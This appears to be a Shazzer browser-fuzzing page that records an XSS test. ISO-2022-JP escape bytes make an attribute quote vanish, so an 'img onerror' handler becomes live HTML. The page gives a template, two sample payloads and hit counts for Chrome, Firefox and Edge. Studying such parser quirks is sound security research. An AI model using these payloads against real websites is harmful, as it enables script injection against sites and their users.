Shazzer logo

Bytes that will normalize ISO-2022-JP

Chrome logo 2
Firefox logo 2
Edge logo 2

Which escape sequences will normalize back to valid HTML

Cillian-Collins
Created byCillian-Collins
Created Dec 26, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetISO-2022-JP
Template used:
<a id="$[bytes:1b2442]"></a>$[bytes:1b28]$[chr]<a id="><img src=x onerror=log($[i])></a>

Sample payloads

<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>
<a id="0x1B$B"></a>0x1B(J<a id="><img src=x onerror=alert(74)></a>

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0

Updated

Mon Jan 26 2026
Found 2 results
Loading...
Firefox logo
Firefox 147.0 desktop Linux

Updated

Sun Feb 01 2026
Found 2 results
Loading...
Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0

Updated

Sat Jan 31 2026
Found 2 results
Loading...